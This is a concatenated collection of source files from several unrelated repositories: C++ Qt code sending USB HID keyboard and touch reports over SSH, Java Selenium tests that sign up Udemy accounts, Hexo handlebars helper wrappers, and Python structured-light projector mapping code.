NSC_R_SHIFT,
NSC_R_ALT,
NSC_R_GUI
};
static QMap<int, int> otherKeys{
{36, 0x28}, // Return
{9, 0x29}, // ESC
{22, 0x2A}, // Backspace
{23, 0x2B}, // Tab
{65, 0x2C}, // Spc
{20, 0x2D}, // - _
{21, 0x2E}, // = +
{34, 0x2F}, // [ {
{35, 0x30}, // ] }
{51, 0x31}, // \ |
{47, 0x33}, // ; :
{48, 0x34}, // ' "
{49, 0x35}, // ` ~
{59, 0x36}, // , <
{60, 0x37}, // . >
{61, 0x38}, // / ?
{66, 0x39}, // Caps
{67, 0x3A}, // F1
{68, 0x3B}, // F2
{69, 0x3C}, // F3
{70, 0x3D}, // F4
{71, 0x3E}, // F5
{72, 0x3F}, // F6
{73, 0x40}, // F7
{74, 0x41}, // F8
{75, 0x42}, // F9
{76, 0x43}, // F10
{95, 0x44}, // F11
{96, 0x45}, // F12
//{, 0x46}, // PrintScreen TODO Howto catch this?
{78, 0x47}, // Scroll Lock
//{, 0x48}, // Pause
{118, 0x49}, // Insert
{110, 0x4A}, // Home
{112, 0x4B}, // PgUp
{119, 0x4C}, // Delete
{115, 0x4D}, // End
{117, 0x4E}, // PgDown
{114, 0x4F}, // RArr
{113, 0x50}, // LArr
{116, 0x51}, // Down
{111, 0x52}, // Up
/* TODO add also keypad codes */
};
QChar mark = kevent->text()[0];
/* http://www.freebsddiary.org/APC/usb_hid_usages.php */
if (modifiersNSC.contains(kevent->nativeScanCode())) {
m_isModifier = true;
std::cout<<"scan code: "<<kevent->nativeScanCode()<<std::endl;
m_key = 1 << modifiersNSC.indexOf(kevent->nativeScanCode());
} else if (mark.isLetter()) {
/* If ascii letter */
m_key = mark.toLower().unicode() - 'a' + 0x04;
} else if (mark.isDigit()) {
/* If digit */
int val = mark.digitValue();
m_key = val == 0 ? <KEY>;
} else if (specDigitMarks.contains(mark)) {
/* One of special marks above digits */
m_key = 0x1E + specDigitMarks.indexOf(mark);
} else {
/* Rest of keyboard mapping */
m_key = otherKeys.value(kevent->nativeScanCode(), -1);
if (m_key == -1)
std::cout << kevent->nativeScanCode()<<std::endl;
}
}
<file_sep>#ifndef CONNECTIONDIALOG_H
#define CONNECTIONDIALOG_H
#include <QDialog>
#include "sshconnection.h"
namespace Ui {
class ConnectionDialog;
}
class ConnectionDialog : public QDialog
{
Q_OBJECT
public:
explicit ConnectionDialog(QWidget *parent = 0);
~ConnectionDialog();
QSsh::SshConnectionParameters getConnectionParams();
private:
Ui::ConnectionDialog *ui;
bool m_ok;
};
#endif // CONNECTIONDIALOG_H
<file_sep>#include "inputfilter.h"
#include <QEvent>
#include <QKeyEvent>
#include <QMouseEvent>
#include <QChar>
#include <QtEndian>
#include <QDateTime>
#include <VLCQtWidgets/WidgetVideo.h>
#include <iostream>
#include "kbdkey.h"
#include "sshremoteprocess.h"
InputFilter::InputFilter(QObject *parent) : QObject(parent), m_modifiers(0), m_touch(false)
{
}
InputFilter::InputFilter(QSharedPointer<QSsh::SshRemoteProcess> hidShell, VlcMediaPlayer *player, QObject *parent)
: QObject(parent), m_hidShell(hidShell), m_player(player), m_modifiers(0), m_touch(false), m_lastMove(QDateTime::currentMSecsSinceEpoch())
{
}
bool InputFilter::eventFilter(QObject *obj, QEvent *event)
{
if (event->type() == QEvent::KeyPress) {
QKeyEvent *kevent = static_cast<QKeyEvent*>(event);
return handleKeyPress(obj, kevent);
} else if (event->type() == QEvent::KeyRelease) {
QKeyEvent *kevent = static_cast<QKeyEvent*>(event);
return handleKeyRelease(obj, kevent);
} else if (event->type() == QEvent::MouseButtonPress || event->type() == QEvent::MouseMove || event->type() == event->MouseButtonRelease || event->type() == event->MouseButtonDblClick) {
QMouseEvent *mevent = static_cast<QMouseEvent*>(event);
return handleMouse(obj, mevent);
}
return QObject::eventFilter(obj, event);
}
bool InputFilter::handleKeyPress(QObject *obj, QKeyEvent *kevent)
{
if (kevent->isAutoRepeat())
return false;
KbdKey k(kevent);
if (k.isValid()) {
if (k.isModifier()) {
m_modifiers |= k.getKeyCode();
std::cout << "Modifier pressed: "<<(int)k.getKeyCode()<<std::endl;
} else {
m_keys += k.getKeyCode();
std::cout<<"Key pressed: "<<(int)k.getKeyCode()<<std::endl;
}
updateKbdReport();
}
return false;
}
bool InputFilter::handleKeyRelease(QObject *obj, QKeyEvent *kevent)
{
if (kevent->isAutoRepeat())
return false;
KbdKey k(kevent);
if (k.isValid()) {
if (k.isModifier()) {
m_modifiers &= ~k.getKeyCode();
std::cout << "Modifier released: "<<(int)k.getKeyCode()<<std::endl;
} else {
m_keys -= k.getKeyCode();
std::cout<<"Key released: "<<(int)k.getKeyCode()<<std::endl;
}
updateKbdReport();
}
return false;
}
void InputFilter::updateKbdReport()
{
QString reportDesc;
int count = 2;
reportDesc = "\\x" + QString::number(m_modifiers, 16) + "\\x00";
for (auto it = m_keys.begin(); it != m_keys.end(); ++it) {
reportDesc += "\\x" + QString::number(*it, 16);
++count;
}
while (count < 8) {
reportDesc += "\\x00";
++count;
}
m_hidShell->write(QString("echo -n -e '" + reportDesc +"' > /dev/hidg0\n").toLocal8Bit());
}
bool InputFilter::handleMouse(QObject *obj, QMouseEvent *mevent)
{
//static const float frame_size_percent = 0.0416;
// It's enought to switch of hdmi overrun on raspberry to eliminate this
static const float frame_size_percent = 0;
int video_h, video_w;
float desired_prop, curr_prop;
int widget_h, widget_w;
int frame_h, frame_v;
int x, y;
int x_to_rep, y_to_rep;
video_h = m_player->video()->size().height();
video_w = m_player->video()->size().width();
// Magic calculation because of that ugly black frame:(
// frame is expected to be 5% of video height on each side
desired_prop = (float)video_w/video_h;
widget_h = ((QWidget*)obj)->height();
widget_w = ((QWidget*)obj)->width();
curr_prop = (float)widget_w/widget_h;
if (desired_prop == curr_prop) {
frame_h = frame_v = round((widget_h)*frame_size_percent);
} else if (curr_prop < desired_prop) {
// widget is higher than expected
int height_with_frame = round(widget_w/desired_prop);
frame_h = round(height_with_frame*frame_size_percent);
frame_v = (widget_h - height_with_frame)/2 + frame_h;
} else {
//widget is wider then expected
int width_with_frame = round(widget_h*desired_prop);
frame_v = round(widget_h*frame_size_percent);
frame_h = (widget_w - width_with_frame)/2 + frame_v;
}
if (mevent->x() < frame_h || mevent->x() > widget_w - frame_h
|| mevent->y() < frame_v || mevent->y() > widget_h - frame_v) {
std::cout<<"Mouse event on frame. Ignoring..."<<std::endl;
return false;
}
x = mevent->x() - frame_h;
y = mevent->y() - frame_v;
x_to_rep = x*10000/(widget_w - 2*frame_h);
y_to_rep = y*10000/(widget_h - 2*frame_v);
std::cout<<"event type: "<< mevent->type() << std::endl;
if (mevent->type() == QEvent::MouseButtonPress || mevent->type() == QEvent::MouseButtonDblClick)
m_touch = true;
else if (mevent->type() == QEvent::MouseButtonRelease)
m_touch = false;
std::cout<<"Mouse event: x: "<<x_to_rep<<" y: "<<y_to_rep<<" touch: "<<m_touch<<std::endl;
if (mevent->type() == QEvent::MouseMove) {
qint64 timestamp = QDateTime::currentMSecsSinceEpoch();
std::cout << "current" << timestamp << " prev: "<< m_lastMove<<std::endl;
if (timestamp - m_lastMove < 100)
return false;
else
m_lastMove = timestamp;
}
updateTouchReport(x_to_rep, y_to_rep, m_touch);
if (mevent->type() == QEvent::MouseButtonDblClick)
std::cout<< "Double click"<<std::endl;
return false;
}
void InputFilter::updateTouchReport(uint16_t x, uint16_t y, bool touch)
{
struct touch_report {
uint8_t contact_count;
uint8_t contact_id;
uint8_t touch;
uint16_t x_pos;
uint16_t y_pos;
} __attribute((packed)) touch_report;
uint8_t *trep = (uint8_t *)&touch_report;
touch_report.contact_count = 1;
touch_report.contact_id = 42;
touch_report.touch = touch ? 3 : 2;
// assume little endian
touch_report.x_pos = x;
touch_report.y_pos = y;
QString cmd = "echo -n -e '";
for (unsigned i = 0; i < sizeof(touch_report); ++i) {
uint tmp = trep[i];
cmd += "\\x" + QString::number(tmp, 16);
}
cmd += "' > /dev/hidg1\n";
qDebug()<<cmd;
m_hidShell->write(cmd.toLocal8Bit());
}
| 1b2dbdeaf86d2643709e1f9d47f3c06f0aabf08b | [
"C++"
] | 9 | C++ | kopasiak/muxpi | 026918cdadc2e701ce25e8ecf25a13d615e187b3 | 618c30cfe9763b846a1de5db413309cfca6b3d56 |
refs/heads/master | <file_sep>package AutomationJourney2019.WEBSites.Udemy.Tests;
import static org.testng.Assert.assertFalse;
import static org.testng.Assert.assertTrue;
import java.io.IOException;
import org.json.simple.parser.ParseException;
import org.testng.annotations.Test;
import com.fasterxml.jackson.core.JsonParseException;
import com.fasterxml.jackson.databind.JsonMappingException;
import AutomationJourney2019.WEBSites.DataFileAdaptor;
import AutomationJourney2019.WEBSites.Tests.TestBase;
import AutomationJourney2019.WEBSites.Udemy.Data.JSONDataReader;
import AutomationJourney2019.WEBSites.Udemy.POMs.HomePage;
public class SignUpNewUserTestClass extends TestBase {
HomePage HomePageObject;
@Test(dataProvider = "SignupUsersDP", dataProviderClass = JSONDataReader.class)
public void UdemySignUpNewUser(String FullName, String Email, String Password) throws InterruptedException, JsonParseException, JsonMappingException, IOException, ParseException {
getDriver().manage().deleteAllCookies();
HomePageObject = new HomePage(getDriver());
getDriver().navigate().to(getWebSitesURL()[0].toString());
Thread.sleep(6000);
// Handle CAPTCHA
//String mainWindow = getDriver().getWindowHandle();
//getDriver().findElements(By.tagName("iframe")).get(0);
//getDriver().switchTo().window(mainWindow);
//Thread.sleep(3000);
//getDriver().findElements(By.tagName("iframe")).get(1);
HomePageObject.SignUpNewUser(FullName, Email, Password);
assertFalse(HomePageObject.isElementPresent("className", "alert alert-danger js-error-alert"));
DataFileAdaptor DFA = new DataFileAdaptor();
DFA.UpdateJSONValue("Udemy\\UdemyUserAccountsData.json", FullName,"IsUsed", "Yes");
HomePageObject.LogOut();
assertTrue(HomePageObject.LoggedOutLabel.isDisplayed());
}
}
<file_sep>package AutomationJourney2019.WEBSites.Tests;
import java.net.URI;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Set;
import java.util.concurrent.TimeUnit;
import javax.swing.JTable;
import javax.swing.table.DefaultTableModel;
import org.openqa.selenium.By;
import org.openqa.selenium.NoSuchElementException;
import org.openqa.selenium.PageLoadStrategy;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.chrome.ChromeOptions;
import org.openqa.selenium.edge.EdgeDriver;
import org.openqa.selenium.edge.EdgeOptions;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.firefox.FirefoxOptions;
import org.openqa.selenium.ie.InternetExplorerDriver;
import org.openqa.selenium.ie.InternetExplorerOptions;
import org.openqa.selenium.remote.CapabilityType;
import org.openqa.selenium.support.ui.ExpectedConditions;
import org.openqa.selenium.support.ui.FluentWait;
import org.openqa.selenium.support.ui.Wait;
import org.testng.ITestResult;
import org.testng.annotations.AfterMethod;
import org.testng.annotations.AfterSuite;
import org.testng.annotations.BeforeMethod;
import org.testng.annotations.BeforeSuite;
import org.testng.annotations.Optional;
import org.testng.annotations.Parameters;
import org.testng.internal.TestResult;
public class TestBase {
private static WebDriver driver;
private static TestResult result;
private static String browserName;
private static URI[] WebSitesURL = new URI[] { URI.create("https://www.udemy.com")};
@BeforeMethod
public void beforeMethod() {
}
@AfterMethod
public void afterMethod() {
}
@AfterSuite
public void afterSuite() {
}
public static WebDriver getDriver() {
return driver;
}
public static void setDriver(WebDriver driver) {
TestBase.driver = driver;
}
public static String getBrowserName() {
return browserName;
}
public static void setBrowserName(String browserName) {
TestBase.browserName = browserName;
}
public static TestResult getResult() {
return result;
}
public static void setResult(TestResult result) {
TestBase.result = result;
}
@SuppressWarnings("deprecation")
public void waitForElementToBe(final String condition,final WebElement Element) {
Wait<WebDriver> wait = new FluentWait<WebDriver>(driver)
.withTimeout(10, TimeUnit.SECONDS)
.pollingEvery(2, TimeUnit.SECONDS)
.ignoring(NoSuchElementException.class);
switch (condition) {
case "invisibilityOf":
wait.until(ExpectedConditions.invisibilityOf(Element));
break;
case "elementToBeClickable":
wait.until(ExpectedConditions.elementToBeClickable(Element));
break;
case "visibilityOf":
wait.until(ExpectedConditions.visibilityOf(Element));
break;
default:
break;
}
}
@SuppressWarnings("deprecation")
public void waitForPageToBeWithTitle(String pageTitle)
{
Wait<WebDriver> wait = new FluentWait<WebDriver>(driver)
.withTimeout(10, TimeUnit.SECONDS)
.pollingEvery(2, TimeUnit.SECONDS)
.ignoring(NoSuchElementException.class);
wait.until(ExpectedConditions.titleContains(pageTitle));
}
public static void SwitchBetweenBrowserWindows(int index) {
Set<String> windowHandles = driver.getWindowHandles();
if (windowHandles.size()>0) {
driver.switchTo().window((String)windowHandles.toArray()[index]);
}
}
public static JTable drawDataTable (String[] columnsNames, JTable table) {
if (columnsNames != null && columnsNames.length>0) {
DefaultTableModel tableModel = new DefaultTableModel();
for(String columnName : columnsNames){
tableModel.addColumn(columnName);
}
table.setModel(tableModel);
}
return table;
}
@SuppressWarnings("deprecation")
public String GetTodayShortDate()
{
Date currentDate = new Date();
String TodayShortDate = String.valueOf(currentDate.getYear());
if (String.valueOf(currentDate.getMonth()).length() == 1)
{
TodayShortDate += "0" + String.valueOf(currentDate.getMonth());
}
else
{
TodayShortDate += String.valueOf(currentDate.getMonth());
}
return TodayShortDate;
}
public static FirefoxOptions FirefoxOption()
{
FirefoxOptions Options = new FirefoxOptions();
//Options.setPageLoadStrategy(PageLoadStrategy.EAGER);
Options.addPreference("browser.download.folderList", 2);
Options.addPreference("browser.helperApps.neverAsk.saveToDisk", "application/pdf");
Options.addPreference("browser.download.manager.showWhenStarting", false);
//Options.addPreference("pdfjs.disabled",true);
return Options;
}
public static ChromeOptions ChromeOption()
{
/*Proxy proxy = new Proxy();
proxy.setHttpProxy("172.16.58.3:80");*/
//proxy.setSslProxy("172.16.58.3:80");
// DesiredCapabilities caps = new DesiredCapabilities().chrome();
// caps.setCapability("proxy", proxy);
//Proxy = "172.16.31.10:8080";
ChromeOptions options = new ChromeOptions();
//options.addArguments("--incognito");
options.setPageLoadStrategy(PageLoadStrategy.NORMAL);
HashMap<String, Object> chromePrefs = new HashMap<String, Object>();
chromePrefs.put("profile.default.content_settings.popups", 0);
options.setExperimentalOption("prefs", chromePrefs);
options.setCapability(CapabilityType.ACCEPT_SSL_CERTS, true);
options.setCapability("--disable-javascript", false);
//options.setCapability(CapabilityType.PROXY, proxy);
//options.setPreference("browser.cache.disk.parent_directory", PATH_TO_MY_PROFILE_CACHE);
return options;
}
public static EdgeOptions EDGEOptions()
{
EdgeOptions options = new EdgeOptions();
//options.setPageLoadStrategy(PageLoadStrategy.NORMAL);
//options.AddUserProfilePreference("profile.default.content_settings.popups", 0);
//options.AddArgument("--disable-print-preview");
return options;
}
public static InternetExplorerOptions IEOptions()
{
InternetExplorerOptions options = new InternetExplorerOptions();
//options.PageLoadStrategy(PageLoadStrategy.NORMAL);
//options.AddUserProfilePreference("profile.default.content_settings.popups", 0);
//options.AddArgument("--disable-print-preview");
return options;
}
@BeforeSuite
@Parameters({"browser"})
public static void initializeDriver(@Optional("chrome") String browserName)
{
if (browserName.toLowerCase().equals("chrome"))
{
System.setProperty("webdriver.chrome.driver", System.getProperty("user.dir")+"\\Sources\\chromedriver.exe");
driver = new ChromeDriver(/*new System.Uri(Assembly.GetExecutingAssembly().CodeBase).AbsolutePath.Replace("%20", " ").TrimEnd("CSAutomatedUnitTest.DLL".ToCharArray()),*/ ChromeOption());
//Driver.Manage().Timeouts().PageLoad = TimeSpan.FromSeconds(90);
//Driver.Manage().Timeouts().ImplicitWait = TimeSpan.FromSeconds(75);
driver.manage().timeouts().setScriptTimeout(45, TimeUnit.SECONDS);
driver.manage().deleteAllCookies();
}
else if (browserName.toLowerCase().equals("firefox"))
{
System.setProperty("webdriver.gecko.driver", System.getProperty("user.dir") + "\\Sources\\geckodriver.exe");
driver = new FirefoxDriver(/*new System.Uri(Assembly.GetExecutingAssembly().CodeBase).AbsolutePath.Replace("%20", " ").TrimEnd("CSAutomatedUnitTest.DLL".ToCharArray()),*/ FirefoxOption());
//driver.manage().deleteAllCookies();
}
else if (browserName.toLowerCase().equals("ie"))
{
System.setProperty("webdriver.ie.driver", System.getProperty("user.dir") + "\\Sources\\IEDriverServer.exe");
driver = new InternetExplorerDriver(/*new System.Uri(Assembly.GetExecutingAssembly().CodeBase).AbsolutePath.Replace("%20", " ").TrimEnd("CSAutomatedUnitTest.DLL".ToCharArray()),*/ IEOptions());
driver.manage().deleteAllCookies();
}
else if (browserName.toLowerCase().equals("edge"))
{
System.setProperty("webdriver.edge.drive", System.getProperty("user.dir") + "\\Sources\\MicrosoftWebDriver.exe");
driver = new EdgeDriver(/*new System.Uri(Assembly.GetExecutingAssembly().CodeBase).AbsolutePath.Replace("%20", " ").TrimEnd("CSAutomatedUnitTest.DLL".ToCharArray()),*/ EDGEOptions());
driver.manage().deleteAllCookies();
}
else if (browserName.toLowerCase().equals("chrome-headless"))
{
System.setProperty("webdriver.chrome.driver", System.getProperty("user.dir") + "\\Sources\\chromedriver.exe");
ChromeOptions options = new ChromeOptions();
options.addArguments("--headless");
options.addArguments("--window-size=1920,1080");
driver = new ChromeDriver(options);
driver.manage().deleteAllCookies();
}
driver.manage().window().maximize();
driver.manage().timeouts().implicitlyWait(120, TimeUnit.SECONDS);
//driver.navigate().to(getWebSitesURL()[0].toString());
}
@AfterMethod
public static void ScreenshotOnFailure(ITestResult result)
{
if (result.getStatus() == ITestResult.FAILURE) {
DateFormat dateFormat = new SimpleDateFormat("MMddHHmmss");
Date date = new Date();
Helper.captureScreenshot(driver, result.getName()+ "\\" +dateFormat.format(date));
}
}
@AfterSuite
public static void StopDriver()
{
//driver.quit();
}
public static URI[] getWebSitesURL() {
return WebSitesURL;
}
public static void setWebSitesURL(URI[] webSitesURL) {
WebSitesURL = webSitesURL;
}
}
<file_sep>#Sun Apr 21 09:39:20 EET 2019
org.eclipse.core.runtime=2
org.eclipse.platform=4.7.3.v20180330-0640
| 463de8193ffd508761e55aab6dd88cc527bb084b | [
"Java",
"INI"
] | 3 | Java | islamazez83/AutomationJourney2019 | cd0e2707127007c1f1057eacb7da1a4a2a33634d | b6fcfb2d177ba6edc27f75a8d5980f67f15c2d37 |
refs/heads/master | <file_sep>var handlebars = require('handlebars'),
hexoHelpers = hexo.extend.helper.list();
exports.link_to = function(path, text, external){
var args = Array.prototype.slice.call(arguments, 0, arguments.length - 1),
result;
result = hexoHelpers.link_to.apply(null, args);
return new handlebars.SafeString(result);
};
exports.mail_to = function(path, text){
var args = Array.prototype.slice.call(arguments, 0, arguments.length - 1),
result;
result = hexoHelpers.mail_to.apply(null, args);
return new handlebars.SafeString(result);
};<file_sep>var handlebars = require('handlebars'),
hexoHelpers = hexo.extend.helper.list();
exports.date = function(date, format) {
var args = Array.prototype.slice.call(arguments, 0, arguments.length - 1);
return hexoHelpers.date.apply(null, args);
};
exports.date_xml = function(date) {
return hexoHelpers.date_xml(date);
};
exports.time = function(date, format) {
var args = Array.prototype.slice.call(arguments, 0, arguments.length - 1);
return hexoHelpers.time.apply(null, args);
};
exports.full_date = function(date, format) {
var args = Array.prototype.slice.call(arguments, 0, arguments.length - 1);
return hexoHelpers.full_date.apply(null, args);
};
exports.time_tag = function(date, format) {
var args = Array.prototype.slice.call(arguments, 0, arguments.length - 1),
result;
result = hexoHelpers.time_tag.apply(null, args);
return new handlebars.SafeString(result);
};
exports.moment = function() {
var args = Array.prototype.slice.call(arguments, 0, arguments.length - 1);
return hexoHelpers.moment.apply(hexoHelpers.moment, args);
};<file_sep>var handlebars = require('handlebars'),
hexoHelpers = hexo.extend.helper.list();
exports.strip_html = function(content) {
return hexoHelpers.strip_html.call(this, content);
};
exports.trim = function(content) {
return hexoHelpers.trim.call(this, content);
};
exports.titlecase = function(content) {
return hexoHelpers.titlecase.call(this, content);
};
exports.markdown = function(text) {
var result = hexoHelpers.markdown.call(this, text);
return new handlebars.SafeString(result);
};
exports.word_wrap = function(text, width) {
var args = Array.prototype.slice.call(arguments, 0, arguments.length - 1);
return hexoHelpers.word_wrap.apply(null, args);
};
exports.truncate = function(text, length, options) {
var opts = options.hash,
args = Array.prototype.slice.call(arguments, 0, arguments.length - 1);
if (args.length < 2 && !opts) {
return text;
}
if (!opts) {
opts = {
length: length
};
} else {
if (!opts.hasOwnProperty('length')) {
opts.length = length;
}
}
return hexoHelpers.truncate.call(this, text, opts);
};<file_sep>var handlebars = require('handlebars'),
hexoHelpers = hexo.extend.helper.list();
exports.search_form = function(options) {
var opts = options.hash || {},
result;
result = hexoHelpers.search_form.call(this, opts);
return new handlebars.SafeString(result);
};<file_sep>var hexoHelpers = hexo.extend.helper.list();
exports.number_format = function(num, options){
var opts = options.hash || {};
return hexoHelpers.number_format.call(this, num, opts);
};<file_sep>var handlebars = require('handlebars'),
hexoHelpers = hexo.extend.helper.list();
exports.is_current = function(path, strict) {
var slice = Array.prototype.slice,
args = slice.call(arguments, 0, arguments.length - 1),
options = slice.call(arguments, arguments.length - 1);
if (hexoHelpers.is_current.apply(null, args)) {
return options.fn(this);
}
};
exports.is_home = function() {
var slice = Array.prototype.slice,
options = slice.call(arguments, arguments.length - 1);
if (hexoHelpers.is_home.call(this)) {
return options.fn(this);
}
};
exports.is_post = function() {
var slice = Array.prototype.slice,
options = slice.call(arguments, arguments.length - 1);
if (hexoHelpers.is_post.call(this)) {
return options.fn(this);
}
};
exports.is_archive = function() {
var slice = Array.prototype.slice,
options = slice.call(arguments, arguments.length - 1);
if (hexoHelpers.is_archive.call(this)) {
return options.fn(this);
}
};
exports.is_year = function() {
var slice = Array.prototype.slice,
options = slice.call(arguments, arguments.length - 1);
if (hexoHelpers.is_year.call(this)) {
return options.fn(this);
}
};
exports.is_month = function() {
var slice = Array.prototype.slice,
options = slice.call(arguments, arguments.length - 1);
if (hexoHelpers.is_month.call(this)) {
return options.fn(this);
}
};
exports.is_category = function() {
var slice = Array.prototype.slice,
options = slice.call(arguments, arguments.length - 1);
if (hexoHelpers.is_category.call(this)) {
return options.fn(this);
}
};
exports.is_tag = function() {
var slice = Array.prototype.slice,
options = slice.call(arguments, arguments.length - 1);
if (hexoHelpers.is_tag.call(this)) {
return options.fn(this);
}
}; | a805672ef70d8003372e2fe153f89d8f088e9969 | [
"JavaScript"
] | 6 | JavaScript | kyrisu/hexo-renderer-handlebars | 2945258bb4d9a74850dd88f0830bb9cbe0429616 | 9f2b838b51f974fdbb98459793199cfede189a7c |
refs/heads/master | <repo_name>aroidzap/video-mapping<file_sep>/structured_light.py
import math
import numpy as np
import cv2
class StructuredLight:
def __init__(self, projector_shape):
self.projector_shape = projector_shape
def light_patterns(self):
raise NotImplementedError()
def process_images(self, images):
raise NotImplementedError()
def process_color(self, images, gamma_correction = 2.2):
return np.mean([np.min(images, axis=0), np.max(images, axis=0)], axis = 0) ** (1 / gamma_correction)
def capture(self, projector_callback, capture_callback, wait_time = 500, flush_frames = 3, gamma_correction = 2.2):
# full white
projector_callback(255 * np.ones(self.projector_shape, np.uint8))
# camera preview
while True:
frame = capture_callback()
# normalization and gamma correction
frame = (frame / np.iinfo(frame.dtype).max) ** gamma_correction
# show image
cv2.imshow("Camera", (255 * frame).astype(np.uint8))
if(cv2.waitKey(10) != -1):
break
# capture images
images = []
for pattern in self.light_patterns():
# project pattern
projector_callback(pattern)
# capture image
cv2.waitKey(max(1,wait_time))
for _ in range(flush_frames):
frame = capture_callback()
# normalization and gamma correction
frame = (frame / np.iinfo(frame.dtype).max) ** gamma_correction
# show image
cv2.imshow("Camera", (255 * frame).astype(np.uint8))
cv2.waitKey(1)
# add to images list
images.append(frame.astype(np.float32))
# full black
projector_callback(np.zeros(self.projector_shape, np.uint8))
# return captured images
return images
@staticmethod
def _rgb_2_gray(images):
return np.asarray([np.sum((0.2989, 0.5870, 0.1140) * img, axis = -1) for img in images])
class BinaryStructuredLight(StructuredLight):
def __init__(self, *args, **kwargs):
super(BinaryStructuredLight, self).__init__(*args)
self.resolution_limit = kwargs.get('resolution_limit', 1)
def light_patterns(self):
n = math.ceil(math.log(max(self.projector_shape))/math.log(2))
patterns_x = [255 * (np.indices(self.projector_shape)[1]//((2**i)) % 2 > 0).astype(np.uint8) for i in range(n - 1, self.resolution_limit - 1, -1)]
patterns_y = [255 * (np.indices(self.projector_shape)[0]//((2**i)) % 2 > 0).astype(np.uint8) for i in range(n - 1, self.resolution_limit - 1, -1)]
return [255* np.ones(self.projector_shape, np.uint8), *patterns_x, *patterns_y, np.zeros(self.projector_shape, np.uint8)]
def process_images(self, images, valid_threshold = 0.1):
bw_images = StructuredLight._rgb_2_gray(np.asarray(images)[:,:,:,::-1])
pattern_encoding_color = np.moveaxis(np.asarray(list(zip(bw_images[1:len(bw_images)//2], bw_images[len(bw_images)//2:-1]))),[0,1],[-1,-2])
pattern_threshold = np.mean([np.min(pattern_encoding_color, axis=-1), np.max(pattern_encoding_color, axis=-1)], axis = 0)
valid_projection = np.abs(np.min(bw_images, axis=0) - np.max(bw_images, axis=0)) > valid_threshold
pattern_encoding_binary = pattern_encoding_color > pattern_threshold.reshape((*pattern_threshold.shape,1))
# convert binary to value
pattern_encoding = 2 ** ((pattern_encoding_binary.shape[-1] - 1 + self.resolution_limit) - np.indices(pattern_encoding_binary.shape)[-1])
pattern_encoding = np.sum(pattern_encoding_binary * pattern_encoding, axis = -1) * valid_projection.reshape((*valid_projection.shape,1))
# append valid mask
projector_map = np.concatenate([pattern_encoding, valid_projection.reshape((*valid_projection.shape,1))], axis = -1)
return projector_map
class GrayCodeStructuredLight(StructuredLight):
def __init__(self, *args, **kwargs):
super(GrayCodeStructuredLight, self).__init__(*args)
self.resolution_limit = kwargs.get('resolution_limit', 0)
def light_patterns(self):
n = math.ceil(math.log(max(self.projector_shape))/math.log(2))
patterns_x = [255 * (np.indices(self.projector_shape)[1]//((2**i)) % 2 > 0).astype(np.uint8) for i in range(n - 1, self.resolution_limit - 1, -1)]
patterns_x_shr = np.roll(patterns_x, 1, axis = 0)
patterns_x_shr[0] = 0
patterns_x = np.bitwise_xor(patterns_x, patterns_x_shr)
patterns_y = [255 * (np.indices(self.projector_shape)[0]//((2**i)) % 2 > 0).astype(np.uint8) for i in range(n - 1, self.resolution_limit - 1, -1)]
patterns_y_shr = np.roll(patterns_y, 1, axis = 0)
patterns_y_shr[0] = 0
patterns_y = np.bitwise_xor(patterns_y, patterns_y_shr)
return [255* np.ones(self.projector_shape, np.uint8), *patterns_x, *patterns_y, np.zeros(self.projector_shape, np.uint8)]
def process_images(self, images, valid_threshold = 0.1):
bw_images = StructuredLight._rgb_2_gray(np.asarray(images)[:,:,:,::-1])
pattern_encoding_color = np.moveaxis(np.asarray(list(zip(bw_images[1:len(bw_images)//2], bw_images[len(bw_images)//2:-1]))),[0,1],[-1,-2])
pattern_threshold = np.mean([np.min(pattern_encoding_color, axis=-1), np.max(pattern_encoding_color, axis=-1)], axis = 0)
valid_projection = np.abs(np.min(bw_images, axis=0) - np.max(bw_images, axis=0)) > valid_threshold
pattern_encoding_binary = pattern_encoding_color > pattern_threshold.reshape((*pattern_threshold.shape,1))
# convert gray code to binary
for i in range(1, pattern_encoding_binary.shape[-1]):
pattern_encoding_binary[:,:,:,i] = np.logical_xor(pattern_encoding_binary[:,:,:,i], pattern_encoding_binary[:,:,:,i-1])
# convert binary to value
pattern_encoding = 2 ** ((pattern_encoding_binary.shape[-1] - 1 + self.resolution_limit) - np.indices(pattern_encoding_binary.shape)[-1])
pattern_encoding = np.sum(pattern_encoding_binary * pattern_encoding, axis = -1) * valid_projection.reshape((*valid_projection.shape,1))
# append valid mask
projector_map = np.concatenate([pattern_encoding, valid_projection.reshape((*valid_projection.shape,1))], axis = -1)
return projector_map
class PhaseStructuredLight(StructuredLight):
def __init__(self, *args, **kwargs):
super(PhaseStructuredLight, self).__init__(*args)
self.period_resolution = kwargs.get('period_resolution', 32)
def light_patterns(self):
return [
255 * np.ones(self.projector_shape, np.uint8),
(255 * (0.5 + np.cos(math.pi * np.indices(self.projector_shape)[0] / (4 * self.period_resolution))/2)).astype(np.uint8),
(255 * (0.5 + np.sin(math.pi * np.indices(self.projector_shape)[0] / (4 * self.period_resolution))/2)).astype(np.uint8),
(255 * (0.5 + np.cos(math.pi * np.indices(self.projector_shape)[1] / (4 * self.period_resolution))/2)).astype(np.uint8),
(255 * (0.5 + np.sin(math.pi * np.indices(self.projector_shape)[1] / (4 * self.period_resolution))/2)).astype(np.uint8),
(255 * (0.5 + np.cos(math.pi * np.indices(self.projector_shape)[0] / (2 * self.period_resolution))/2)).astype(np.uint8),
(255 * (0.5 + np.sin(math.pi * np.indices(self.projector_shape)[0] / (2 * self.period_resolution))/2)).astype(np.uint8),
(255 * (0.5 + np.cos(math.pi * np.indices(self.projector_shape)[1] / (2 * self.period_resolution))/2)).astype(np.uint8),
(255 * (0.5 + np.sin(math.pi * np.indices(self.projector_shape)[1] / (2 * self.period_resolution))/2)).astype(np.uint8),
(255 * (0.5 + np.cos(math.pi * np.indices(self.projector_shape)[0] / self.period_resolution)/2)).astype(np.uint8),
(255 * (0.5 + np.sin(math.pi * np.indices(self.projector_shape)[0] / self.period_resolution)/2)).astype(np.uint8),
(255 * (0.5 + np.cos(math.pi * np.indices(self.projector_shape)[1] / self.period_resolution)/2)).astype(np.uint8),
(255 * (0.5 + np.sin(math.pi * np.indices(self.projector_shape)[1] / self.period_resolution)/2)).astype(np.uint8),
np.zeros(self.projector_shape, np.uint8)
]
def process_images(self, images, valid_threshold = 0.05):
bw_images = StructuredLight._rgb_2_gray(np.asarray(images)[:,:,:,::-1])
